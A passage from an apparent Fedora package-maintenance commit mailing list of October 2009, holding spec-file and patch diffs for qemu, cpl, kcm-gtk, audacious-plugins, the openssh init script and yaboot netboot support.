+    size = qemu_send_packet_async(s->vc, buf, size, tap_send_completed);
+    if (size == 0) {
+        tap_read_poll(s, 0);
+    }
 }
 
 #ifdef TUNSETSNDBUF
-- 
1.6.2.5



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu.spec,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- qemu.spec	29 Oct 2009 11:28:04 -0000	1.145
+++ qemu.spec	29 Oct 2009 11:45:25 -0000	1.146
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 8%{?dist}
+Release: 9%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -55,6 +55,9 @@ Patch10: qemu-fix-msr-count-potential-se
 # Properly save kvm time registers (#524229)
 Patch11: qemu-properly-save-kvm-system-time-registers.patch
 
+# Fix dropped packets with non-virtio NICs (#531419)
+Patch12: qemu-fix-dropped-packets-with-non-virtio-nics.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
 BuildRequires: rsync dev86 iasl
@@ -253,6 +256,7 @@ such as kvmtrace and kvm_stat.
 %patch09 -p1
 %patch10 -p1
 %patch11 -p1
+%patch12 -p1
 
 %build
 # --build-id option is used fedora 8 onwards for giving info to the debug packages.
@@ -534,6 +538,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-9
+- Fix dropped packets with non-virtio NICs (#531419)
+
 * Wed Oct 21 2009 Glauber Costa <gcosta at redhat.com> - 2:0.11.0-8
 - Properly save kvm time registers (#524229)
 



From sergiopr at fedoraproject.org  Thu Oct 29 11:50:27 2009
From: sergiopr at fedoraproject.org (Sergio Pascual)
Date: Thu, 29 Oct 2009 11:50:27 +0000 (UTC)
Subject: rpms/cpl/F-12 cpl-cfitsiodyn.patch, 1.3, 1.4 cpl-wcslibdyn.patch,
	1.1, 1.2 cpl.spec, 1.10, 1.11 cpl-multilib.patch, 1.2, NONE
Message-ID: <20091029115027.E7A3811C0371@cvs1.fedora.phx.redhat.com>

Author: sergiopr

Update of /cvs/pkgs/rpms/cpl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30245

Modified Files:
	cpl-cfitsiodyn.patch cpl-wcslibdyn.patch cpl.spec 
Removed Files:
	cpl-multilib.patch 
Log Message:
* Wed Oct 28 2009 Sergio Pascual <sergiopr at fedoraproject.org> 5.0.1-1
- New upstream source


cpl-cfitsiodyn.patch:
 configure |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

Index: cpl-cfitsiodyn.patch
===================================================================
RCS file: /cvs/pkgs/rpms/cpl/F-12/cpl-cfitsiodyn.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- cpl-cfitsiodyn.patch	18 Dec 2008 19:04:07 -0000	1.3
+++ cpl-cfitsiodyn.patch	29 Oct 2009 11:50:27 -0000	1.4
@@ -1,21 +1,30 @@
-diff -ur cpl-4.2.0/configure cpl-4.2.0-new/configure
---- cpl-4.2.0/configure	2008-08-06 14:47:07.000000000 +0200
-+++ cpl-4.2.0-new/configure	2008-12-18 19:17:06.000000000 +0100
-@@ -21100,7 +21100,7 @@
- echo $ECHO_N "checking for cfitsio... $ECHO_C" >&6; }
+diff -ur cpl-5.0.1/configure cpl-5.0.1.new/configure
+--- cpl-5.0.1/configure	2009-05-06 15:27:54.000000000 +0200
++++ cpl-5.0.1.new/configure	2009-10-28 17:37:32.000000000 +0100
+@@ -20407,7 +20407,7 @@
  
      cpl_cfitsio_check_header="fitsio.h"
+     # FIXME: Check first for the dynamic library...
 -    cpl_cfitsio_check_lib="libcfitsio.a"
 +    cpl_cfitsio_check_lib="libcfitsio.so"
  
-     cpl_cfitsio_includes=""
-     cpl_cfitsio_libraries=""
-@@ -21160,6 +21160,8 @@
-         done
-     done
+     cpl_cfitsio_dir=""
+     cpl_cfitsio_incdirs=""
+@@ -20432,7 +20432,7 @@
  
-+cpl_cfitsio_includes=/usr/include/cfitsio
-+cpl_cfitsio_libraries=$libdir
+     # Check for the cfitsio includes, either in include/, include/cfitsio/
+     # or include/libcfitsio0/
+-    cpl_cfitsio_incdirs="$cpl_cfitsio_dir/include"
++    cpl_cfitsio_incdirs="$includedir/cfitsio"
+ 
+     cpl_cfitsio_includes=no
+ 
+@@ -20491,7 +20491,7 @@
+     fi
+ 
+     # Check for the cfitsio library, either in lib64/, lib32/ or lib/
+-    cpl_cfitsio_libdirs="$cpl_cfitsio_dir/lib64"
++    cpl_cfitsio_libdirs="$libdir"
+ 
+     cpl_cfitsio_libraries=no
  
-     if test x"$cpl_cfitsio_includes" = xno || test x"$cpl_cfitsio_libraries" = xno; then
-         { { echo "$as_me:$LINENO: error: cfitsio was not found on your system. Please check!" >&5

cpl-wcslibdyn.patch:
 configure |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

Index: cpl-wcslibdyn.patch
===================================================================
RCS file: /cvs/pkgs/rpms/cpl/F-12/cpl-wcslibdyn.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cpl-wcslibdyn.patch	8 May 2009 11:56:50 -0000	1.1
+++ cpl-wcslibdyn.patch	29 Oct 2009 11:50:27 -0000	1.2
@@ -1,8 +1,8 @@
-diff -ur cpl-4.2.0/configure cpl-4.2.0.new/configure
---- cpl-4.2.0/configure	2009-05-08 13:41:07.000000000 +0200
-+++ cpl-4.2.0.new/configure	2009-05-08 13:39:53.000000000 +0200
-@@ -21192,7 +21192,7 @@
- echo $ECHO_N "checking for wcs... $ECHO_C" >&6; }
+diff -ur cpl-5.0.1/configure cpl-5.0.1.new/configure
+--- cpl-5.0.1/configure	2009-10-28 17:37:32.000000000 +0100
++++ cpl-5.0.1.new/configure	2009-10-28 17:39:40.000000000 +0100
+@@ -20586,7 +20586,7 @@
+ echo $ECHO_N "checking for wcs... $ECHO_C" >&6
  
      cpl_wcs_check_header="wcslib/wcslib.h"
 -    cpl_wcs_check_lib="libwcs.a"
@@ -10,12 +10,20 @@ diff -ur cpl-4.2.0/configure cpl-4.2.0.n
  
      cpl_wcs_includes=""
      cpl_wcs_libraries=""
-@@ -21252,6 +21252,8 @@
-         done
-     done
+@@ -20608,6 +20608,7 @@
+         cpl_wcs_incdirs="$cpl_with_wcs_includes"
+     fi
  
-+cpl_wcs_includes="/usr/include"
-+cpl_wcs_libraries=$libdir
++    cpl_wcs_incdirs="$includedir"
+     cpl_wcs_includes=no
+ 
+     for i in $cpl_wcs_incdirs; do
+@@ -20632,7 +20633,7 @@
+     fi
+ 
+     cpl_wcs_libraries=no
+-
++    cpl_wcs_libdirs="$libdir"
+     for i in $cpl_wcs_libdirs; do
+         for j in $cpl_wcs_check_lib; do
  
-     if test x"$cpl_wcs_includes" = xno || test x"$cpl_wcs_libraries" = xno; then
-         { echo "$as_me:$LINENO: WARNING: wcs was not found on your system." >&5


Index: cpl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cpl/F-12/cpl.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- cpl.spec	24 Jul 2009 19:33:07 -0000	1.10
+++ cpl.spec	29 Oct 2009 11:50:27 -0000	1.11
@@ -1,6 +1,6 @@
 Name: cpl
-Version: 4.2.0
-Release: 4%{?dist}
+Version: 5.0.1
+Release: 1%{?dist}
 Summary: ESO library for automated astronomical data-reduction tasks
 
 Group: Development/Libraries
@@ -9,8 +9,7 @@ URL: http://www.eso.org/observing/cpl
 Source0: ftp://ftp.hq.eso.org/pub/cpl/%{name}-%{version}.tar.gz
 # Informed upstream 2008-12-18
 Patch0: cpl-cfitsiodyn.patch
-Patch1: cpl-multilib.patch
-Patch2: cpl-wcslibdyn.patch
+Patch1: cpl-wcslibdyn.patch
 Buildroot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 BuildRequires: cfitsio-devel wcslib-devel
@@ -37,21 +36,17 @@ application
 %setup -q
 %patch0 -p1
 %patch1 -p1
-%patch2 -p1
 
 %build
 %configure --disable-static
-%{__make} %{?_smp_mflags}
+make %{?_smp_mflags}
 
 %install
-%{__rm} -fr %{buildroot}
-%{__make} DESTDIR=%{buildroot} install
-%{__mkdir_p} %{buildroot}%{_libdir}/cplrecipes
-%{__install} -m 644 libcext/cext/cxtypes-32.h %{buildroot}%{_includedir} || :
-%{__install} -m 644 libcext/cext/cxtypes-64.h %{buildroot}%{_includedir} || :
+rm -rf %{buildroot}
+make DESTDIR=%{buildroot} install
 
 %clean
-%{__rm} -fr %{buildroot}
+rm -rf %{buildroot}
 
 %post -p /sbin/ldconfig
 
@@ -59,9 +54,8 @@ application
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS
+%doc AUTHORS BUGS COPYING NEWS
 %{_libdir}/*so.*
-%{_libdir}/cplrecipes
 
 %files devel
 %defattr(-,root,root,-)
@@ -71,6 +65,9 @@ application
 %exclude %{_libdir}/*.la
 
 %changelog
+* Wed Oct 28 2009 Sergio Pascual <sergiopr at fedoraproject.org> 5.0.1-1
+- New upstream source
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.2.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- cpl-multilib.patch DELETED ---



From sergiopr at fedoraproject.org  Thu Oct 29 11:51:58 2009
From: sergiopr at fedoraproject.org (Sergio Pascual)
Date: Thu, 29 Oct 2009 11:51:58 +0000 (UTC)
Subject: rpms/cpl/F-12 sources,1.6,1.7
Message-ID: <20091029115158.8A17111C008B@cvs1.fedora.phx.redhat.com>

Author: sergiopr

Update of /cvs/pkgs/rpms/cpl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30687

Modified Files:
	sources 
Log Message:
Using correct sources



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cpl/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	18 Dec 2008 19:04:08 -0000	1.6
+++ sources	29 Oct 2009 11:51:58 -0000	1.7
@@ -1 +1 @@
-08ede401f92cf1d2474f15b053126130  cpl-4.2.0.tar.gz
+2a7ff5de986293fd605bbce4be5ee2ee  cpl-5.0.1.tar.gz



From rdieter at fedoraproject.org  Thu Oct 29 11:53:13 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 29 Oct 2009 11:53:13 +0000 (UTC)
Subject: rpms/kcm-gtk/F-11 kcm-gtk-0.5.1-settings_category.patch, NONE,
	1.1 kcm-gtk.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091029115313.331D811C008B@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kcm-gtk/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31077

Modified Files:
	.cvsignore sources 
Added Files:
	kcm-gtk-0.5.1-settings_category.patch kcm-gtk.spec 
Log Message:
sync w/devel


kcm-gtk-0.5.1-settings_category.patch:
 kcmgtk.desktop |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE kcm-gtk-0.5.1-settings_category.patch ---
diff -up kcm-gtk-0.5.1/kcmgtk.desktop.settings_category kcm-gtk-0.5.1/kcmgtk.desktop
--- kcm-gtk-0.5.1/kcmgtk.desktop.settings_category	2009-07-25 13:38:07.000000000 -0500
+++ kcm-gtk-0.5.1/kcmgtk.desktop	2009-10-22 07:47:42.528418217 -0500
@@ -21,5 +21,5 @@ Type=Service
 X-KDE-ServiceTypes=KCModule
 X-KDE-Library=kcm_gtk
 X-KDE-ParentApp=kcontrol
-Categories=Qt;KDE;X-KDE-settings-looknfeel;
+Categories=Settings;Qt;KDE;X-KDE-settings-looknfeel;
 X-KDE-System-Settings-Parent-Category=appearance


--- NEW FILE kcm-gtk.spec ---

# Fedora package review: http://bugzilla.redhat.com/530342

Summary: Configure the appearance of GTK apps in KDE 
Name:    kcm-gtk 
Version: 0.5.1 
Release: 2%{?dist}

License: GPLv2+
Group:   User Interface/Desktops
URL:     https://launchpad.net/kcm-gtk 
Source0: http://launchpad.net/kcm-gtk/trunk/0.5.1/+download/kcm-gtk_%{version}.orig.tar.gz 
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 

## upstreamable patches
# Categories += Settings, else doesn't appear in systemsettings anywhere (?)
Patch50: kcm-gtk-0.5.1-settings_category.patch

%if 0%{?fedora} > 11
Obsoletes: gtk-qt-engine <= 1:1.1
%endif

BuildRequires: kdelibs4-devel

%{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }

%description
This is a System Settings configuration module for configuring the
appearance of GTK apps in KDE.

%prep
%setup -q 

%patch50 -p1 -b .settings_category



%build

mkdir -p %{_target_platform}
pushd %{_target_platform}
%{cmake_kde4} ..
popd

make %{?_smp_mflags} -C %{_target_platform}


%install
rm -rf %{buildroot} 

make install/fast DESTDIR=%{buildroot} -C %{_target_platform}


%clean
rm -rf %{buildroot} 


%files 
%defattr(-,root,root,-)
%doc Changelog COPYING
%{_kde4_libdir}/kde4/kcm_gtk.so
%{_kde4_iconsdir}/kcm_gtk.png
%{_kde4_datadir}/kde4/services/kcmgtk.desktop


%changelog
* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.1-2
- Requires: kde4-macros(api)...

* Thu Oct 22 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.1-1
- kcm-gtk-0.5.1 (first try)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:06:18 -0000	1.1
+++ .cvsignore	29 Oct 2009 11:53:13 -0000	1.2
@@ -0,0 +1 @@
+kcm-gtk_0.5.1.orig.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kcm-gtk/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:06:18 -0000	1.1
+++ sources	29 Oct 2009 11:53:13 -0000	1.2
@@ -0,0 +1 @@
+adc2d8dd60aa74a744a89860b903b0b0  kcm-gtk_0.5.1.orig.tar.gz



From sergiopr at fedoraproject.org  Thu Oct 29 12:01:03 2009
From: sergiopr at fedoraproject.org (Sergio Pascual)
Date: Thu, 29 Oct 2009 12:01:03 +0000 (UTC)
Subject: rpms/cpl/F-12 cpl.spec,1.11,1.12
Message-ID: <20091029120103.1B66011C008B@cvs1.fedora.phx.redhat.com>

Author: sergiopr

Update of /cvs/pkgs/rpms/cpl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv344

Modified Files:
	cpl.spec 
Log Message:
* Thu Oct 29 2009 Sergio Pascual <sergiopr at fedoraproject.org> 5.0.1-1.1
- ERV bump to allow building



Index: cpl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cpl/F-12/cpl.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- cpl.spec	29 Oct 2009 11:50:27 -0000	1.11
+++ cpl.spec	29 Oct 2009 12:01:02 -0000	1.12
@@ -1,6 +1,6 @@
 Name: cpl
 Version: 5.0.1
-Release: 1%{?dist}
+Release: 1%{?dist}.1
 Summary: ESO library for automated astronomical data-reduction tasks
 
 Group: Development/Libraries
@@ -65,6 +65,9 @@ rm -rf %{buildroot}
 %exclude %{_libdir}/*.la
 
 %changelog
+* Thu Oct 29 2009 Sergio Pascual <sergiopr at fedoraproject.org> 5.0.1-1.1
+- ERV bump to allow building
+
 * Wed Oct 28 2009 Sergio Pascual <sergiopr at fedoraproject.org> 5.0.1-1
 - New upstream source
 



From mschwendt at fedoraproject.org  Thu Oct 29 12:14:29 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Thu, 29 Oct 2009 12:14:29 +0000 (UTC)
Subject: rpms/audacious-plugins/F-12
	audacious-plugins-2.1-sndfile-playfix.patch, NONE,
	1.1 audacious-plugins.spec, 1.56, 1.57
Message-ID: <20091029121429.2261611C008B@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4504

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-2.1-sndfile-playfix.patch 
Log Message:
* Thu Oct 29 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-10
- Remove decode_thread from sndfile plugin to fix playback.


audacious-plugins-2.1-sndfile-playfix.patch:
 plugin.c |   18 +-----------------
 1 file changed, 1 insertion(+), 17 deletions(-)

--- NEW FILE audacious-plugins-2.1-sndfile-playfix.patch ---
diff -Nur audacious-plugins-fedora-2.1-orig/src/sndfile/plugin.c audacious-plugins-fedora-2.1-sndfile/src/sndfile/plugin.c
--- audacious-plugins-fedora-2.1-orig/src/sndfile/plugin.c	2009-07-07 00:40:36.000000000 +0200
+++ audacious-plugins-fedora-2.1-sndfile/src/sndfile/plugin.c	2009-10-29 13:09:20.444864401 +0100
@@ -49,7 +49,6 @@
 static glong seek_time = -1;
 static volatile char pause_flag;
 
-static GThread *decode_thread;
 static GMutex *decode_mutex;
 static GCond *decode_cond;
 
@@ -395,17 +394,8 @@
         samples = sf_read_short (sndfile, buffer, BUFFER_SIZE);
 
         if (samples > 0 && playback->playing == TRUE) {
-            while ((playback->output->buffer_free () < samples) &&
-                   playback->playing == TRUE) {
-                g_get_current_time(&sleeptime);
-                g_time_val_add(&sleeptime, 500000);
-                g_mutex_lock(decode_mutex);
-                g_cond_timed_wait(decode_cond, decode_mutex, &sleeptime);
-                g_mutex_unlock(decode_mutex);
-
                 if (playback->playing == FALSE)
                     break;
-            }
 
             playback->pass_audio(playback, FMT_S16_NE, sfinfo.channels, 
                                  samples * sizeof(buffer[0]), buffer, &playback->playing);
@@ -482,9 +472,9 @@
 
     playback->playing = TRUE;
 
-    decode_thread = g_thread_self();
     playback->set_pb_ready(playback);
     play_loop(playback);
+    playback->playing = FALSE;
 }
 
 static void
@@ -496,18 +486,12 @@
 static void
 play_stop (InputPlayback *playback)
 {
-    if (decode_thread == NULL)
-        return;
-
     g_mutex_lock(decode_mutex);
     playback->playing = FALSE;
     g_mutex_unlock(decode_mutex);
     g_cond_signal(decode_cond);
 
-    g_thread_join (decode_thread);
-
     sndfile = NULL;
-    decode_thread = NULL;
     seek_time = -1;
 }
 


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-12/audacious-plugins.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- audacious-plugins.spec	26 Oct 2009 11:28:39 -0000	1.56
+++ audacious-plugins.spec	29 Oct 2009 12:14:28 -0000	1.57
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.1
-Release: 9%{?dist}
+Release: 10%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -29,6 +29,7 @@ Patch4: audacious-plugins-2.1-underruns.
 Patch5: audacious-plugins-2.1-pulseaudio-volume.patch
 Patch6: audacious-plugins-2.1-pulseaudio-volume-accuracy.patch
 Patch7: audacious-plugins-2.1-modplug.patch
+Patch8: audacious-plugins-2.1-sndfile-playfix.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}
 BuildRequires: jack-audio-connection-kit-devel libsamplerate-devel
@@ -156,6 +157,7 @@ vortex compressed files.
 %patch5 -p1 -b .pulseaudio-volume
 %patch6 -p1 -b .pulseaudio-volume-accuracy
 %patch7 -p1 -b .modplug
+%patch8 -p1 -b .sndfile-playfix
 
 sed -i '\,^.SILENT:,d' buildsys.mk.in
 
@@ -239,6 +241,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-10
+- Remove decode_thread from sndfile plugin to fix playback.
+
 * Mon Oct 26 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-9
 - Let buffer_time_min in underruns patch depend on default buffer size.
 



From jfch2222 at fedoraproject.org  Thu Oct 29 12:19:37 2009
From: jfch2222 at fedoraproject.org (Jan F. Chadima)
Date: Thu, 29 Oct 2009 12:19:37 +0000 (UTC)
Subject: rpms/openssh/F-12 openssh.spec,1.170,1.171 sshd.init,1.4,1.5
Message-ID: <20091029121937.996A311C008B@cvs1.fedora.phx.redhat.com>

Author: jfch2222

Update of /cvs/pkgs/rpms/openssh/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5784

Modified Files:
	openssh.spec sshd.init 
Log Message:
Modify the init script to prevent it to hang during generating the keys 



Index: openssh.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/F-12/openssh.spec,v
retrieving revision 1.170
retrieving revision 1.171
diff -u -p -r1.170 -r1.171
--- openssh.spec	27 Oct 2009 15:59:35 -0000	1.170
+++ openssh.spec	29 Oct 2009 12:19:37 -0000	1.171
@@ -63,7 +63,7 @@
 Summary: An open source implementation of SSH protocol versions 1 and 2
 Name: openssh
 Version: 5.2p1
-Release: 29%{?dist}%{?rescue_rel}
+Release: 30%{?dist}%{?rescue_rel}
 URL: http://www.openssh.com/portable.html
 #Source0: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz
 #Source1: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz.asc
@@ -466,6 +466,9 @@ fi
 %endif
 
 %changelog
+* Thu Oct 29 2009 Jan F. Chadima <jchadima at redhat.com> - 5.2p1-30
+- Modify the init script to prevent it to hang during generating the keys (#515145)
+
 * Tue Oct 27 2009 Jan F. Chadima <jchadima at redhat.com> - 5.2p1-29
 - Resolve locking in ssh-add (#491312)
 


Index: sshd.init
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/F-12/sshd.init,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sshd.init	24 Sep 2009 16:05:27 -0000	1.4
+++ sshd.init	29 Oct 2009 12:19:37 -0000	1.5
@@ -49,7 +49,8 @@ runlevel=$(set -- $(runlevel); eval "ech
 do_rsa1_keygen() {
 	if [ ! -s $RSA1_KEY ]; then
 		echo -n $"Generating SSH1 RSA host key: "
-		if $KEYGEN -q -t rsa1 -f $RSA1_KEY -C '' -N '' >&/dev/null; then
+		rm -f $RSA1_KEY
+		if test ! -f $RSA1_KEY && $KEYGEN -q -t rsa1 -f $RSA1_KEY -C '' -N '' >&/dev/null; then
 			chmod 600 $RSA1_KEY
 			chmod 644 $RSA1_KEY.pub
 			if [ -x /sbin/restorecon ]; then
@@ -68,7 +69,8 @@ do_rsa1_keygen() {
 do_rsa_keygen() {
 	if [ ! -s $RSA_KEY ]; then
 		echo -n $"Generating SSH2 RSA host key: "
-		if $KEYGEN -q -t rsa -f $RSA_KEY -C '' -N '' >&/dev/null; then
+		rm -f $RSA_KEY
+		if test ! -f $RSA_KEY && $KEYGEN -q -t rsa -f $RSA_KEY -C '' -N '' >&/dev/null; then
 			chmod 600 $RSA_KEY
 			chmod 644 $RSA_KEY.pub
 			if [ -x /sbin/restorecon ]; then
@@ -87,7 +89,8 @@ do_rsa_keygen() {
 do_dsa_keygen() {
 	if [ ! -s $DSA_KEY ]; then
 		echo -n $"Generating SSH2 DSA host key: "
-		if $KEYGEN -q -t dsa -f $DSA_KEY -C '' -N '' >&/dev/null; then
+		rm -f $DSA_KEY
+		if test ! -f $DSA_KEY && $KEYGEN -q -t dsa -f $DSA_KEY -C '' -N '' >&/dev/null; then
 			chmod 600 $DSA_KEY
 			chmod 644 $DSA_KEY.pub
 			if [ -x /sbin/restorecon ]; then



From rrakus at fedoraproject.org  Thu Oct 29 12:20:12 2009
From: rrakus at fedoraproject.org (Roman Rakus)
Date: Thu, 29 Oct 2009 12:20:12 +0000 (UTC)
Subject: rpms/yaboot/devel yaboot-1.3.14-better_netboot2.patch, NONE,
	1.1 yaboot-1.3.14-move_kernel.patch, NONE, 1.1 yaboot.spec, 1.69, 1.70
Message-ID: <20091029122012.DEC3111C00E5@cvs1.fedora.phx.redhat.com>

Author: rrakus

Update of /cvs/extras/rpms/yaboot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5912

Modified Files:
	yaboot.spec 
Added Files:
	yaboot-1.3.14-better_netboot2.patch 
	yaboot-1.3.14-move_kernel.patch 
Log Message:
When netbooting "clobber" the LOAD_BUFFER and move the kernel into it to make room for RTAS (#530330)
Adding better netboot support more work on (#458438)


yaboot-1.3.14-better_netboot2.patch:
 include/file.h  |    1 
 include/prom.h  |    2 
 second/cfg.c    |    3 +
 second/file.c   |  127 +++++++++++++++++++++++++++++++++++++++++++++++++++++---
 second/fs_of.c  |   48 +++++++++++++--------
 second/prom.c   |    6 ++
 second/yaboot.c |    4 +
 7 files changed, 166 insertions(+), 25 deletions(-)

--- NEW FILE yaboot-1.3.14-better_netboot2.patch ---
diff -purN yaboot-1.3.14.orig/include/file.h yaboot-1.3.14/include/file.h
--- yaboot-1.3.14.orig/include/file.h	2009-10-15 11:39:01.112642471 +1100
+++ yaboot-1.3.14/include/file.h	2009-10-15 15:29:04.692654961 +1100
@@ -45,6 +45,7 @@ struct boot_fspec_t {
 	char*	giaddr;		/* Gateway address */
 	char*	bootp_retries;	/* Bootp retries */
 	char*	tftp_retries;	/* TFTP retries */
+	char*	subnetmask;	/* Subnet mask */
 	char*	addl_params;	/* copy all additional parameters */
 
 	/* Following fields are used only in ipv6 format */
diff -purN yaboot-1.3.14.orig/include/prom.h yaboot-1.3.14/include/prom.h
--- yaboot-1.3.14.orig/include/prom.h	2009-10-15 15:23:39.796944672 +1100
+++ yaboot-1.3.14/include/prom.h	2009-10-15 15:29:04.692654961 +1100
@@ -153,7 +153,7 @@ struct bootp_packet {
      unsigned char chaddr[16];
      unsigned char sname[64];
      unsigned char file[128];
-     /* vendor options go here if we need them */
+     unsigned char options[]; /* vendor options */
 };
 
 struct bootp_packet * prom_get_netinfo (void);
diff -purN yaboot-1.3.14.orig/second/cfg.c yaboot-1.3.14/second/cfg.c
--- yaboot-1.3.14.orig/second/cfg.c	2009-10-15 15:23:39.798647660 +1100
+++ yaboot-1.3.14/second/cfg.c	2009-10-15 15:29:04.693668247 +1100
@@ -597,6 +597,9 @@ int cfg_set_default_by_mac (char *mac_ad
      char * label = NULL;
      int haslabel = 0;
 
+     if (mac_addr == NULL)
+          return 0;
+
      /* check if there is an image label equal to mac_addr */
      for (tmp = images; tmp; tmp = tmp->next) {
         label = cfg_get_strg_i (tmp->table, "label");
diff -purN yaboot-1.3.14.orig/second/file.c yaboot-1.3.14/second/file.c
--- yaboot-1.3.14.orig/second/file.c	2009-10-15 15:23:39.802647442 +1100
+++ yaboot-1.3.14/second/file.c	2009-10-15 15:29:04.694645423 +1100
@@ -51,6 +51,42 @@ ipv4_to_str(__u32 ip)
      return buf;
 }
 
+/* FIXME: COMMENT */
+static char * is_valid_ip_str(char *str)
+{
+     int i;
+     long tmp;
+     __u32 ip = 0;
+     char *ptr=str, *endptr;
+
+     if (str == NULL)
+          return NULL;
+
+     for (i=0; i<4; i++, ptr = ++endptr) {
+          tmp = strtol(ptr, &endptr, 10);
+          if ((tmp & 0xff) != tmp)
+               return NULL;
+
+          /* If we reach the end of the string but we're not in the 4th octet
+           * we have an invalid IP */
+          if (*endptr == '\x0' && i!=3)
+               return NULL;
+
+          /* If we have anything other than a NULL or '.' we have an invlaid
+           * IP */
+          if (*endptr != '\x0' && *endptr != '.')
+               return NULL;
+
+          ip += (tmp << (24-(i*8)));
+     }
+
+     if (ip == 0 || ip == ~0u)
+          return NULL;
+
+     return str;
+}
+
+
 /*
  * Copy the string from source to dest till newline or comma(,) is seen
  * in the source.
@@ -130,12 +166,13 @@ extract_ipv4_args(char *imagepath, struc
       * read the arguments in order: siaddr,filename,ciaddr,giaddr,
       * bootp-retries,tftp-retries,addl_prameters
       */
-     result->siaddr = scopy(&str, &args);
+     result->siaddr = is_valid_ip_str(scopy(&str, &args));
      result->file = scopy(&str, &args);
-     result->ciaddr = scopy(&str, &args);
-     result->giaddr = scopy(&str, &args);
+     result->ciaddr = is_valid_ip_str(scopy(&str, &args));
+     result->giaddr = is_valid_ip_str(scopy(&str, &args));
      result->bootp_retries = scopy(&str, &args);
      result->tftp_retries = scopy(&str, &args);
+     result->subnetmask = scopy(&str, &args);
      if (*args) {
 	  result->addl_params = strdup(args);
 	  if (!result->addl_params)
@@ -144,6 +181,82 @@ extract_ipv4_args(char *imagepath, struc
      return 1;
 }
 
+/* DHCP options */
+enum dhcp_options {
+     DHCP_PAD = 0,
+     DHCP_NETMASK = 1,
+     DHCP_ROUTERS = 3,
+     DHCP_DNS = 6,
+     DHCP_END = 255,
+};
+
+#define DHCP_COOKIE        0x63825363
+#define DHCP_COOKIE_SIZE   4
+
+/*
+ * FIXME: COMMENT
+ */
+static void
+extract_vendor_options(struct bootp_packet *packet, struct boot_fspec_t *result)
+{
+     int i = 0;
+     __u32 cookie;
+     __u8 *options = &packet->options[0];
+
+     memcpy(&cookie, &options[i], DHCP_COOKIE_SIZE);
+
